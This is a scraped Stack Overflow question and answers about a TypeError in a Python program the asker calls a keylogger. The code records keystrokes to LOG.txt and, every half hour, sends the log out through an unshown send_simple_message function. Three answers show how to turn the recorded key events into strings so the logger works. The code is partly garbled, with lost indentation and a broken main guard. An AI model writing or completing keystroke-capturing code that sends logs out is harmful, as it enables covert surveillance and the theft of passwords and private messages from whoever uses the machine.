'TypeError: write() argument must be str, not list
def file_input(recorded):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
if name == "main":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
im trying to write a keylogger in python and i faced type error like that how can i solve this problem?
i just put in recorded variable into write() and it makes type error and recorded variable type is list. so i tried use join func but it doesn't worked
Solution 1:[1]
You're trying to write to a file using w.write() but it only takes a string as an argument.
now_time is a 'datetime' type and not a string. if you don't need to format the date, you can just do this instead:
w.write(str(nowtime))
Same thing with
w.write(recorded)
recorded is a list of events, you need to use it to construct a string before trying to write that string into the file. For example:
recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
Then, inside file_input() function, you can:
w.write(typedstr)
Solution 2:[2]
By changing to w.write(str(recorded)) my problem was solved.
Solution 3:[3]
In some cases when there will still be encoding issues while writing as a string to a text file, _content function can be useful.
w.write(str(recorded._content))
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 | Youssef Khar |
| Solution 2 | Alvaro |
| Solution 3 | Hasip Timurtas |
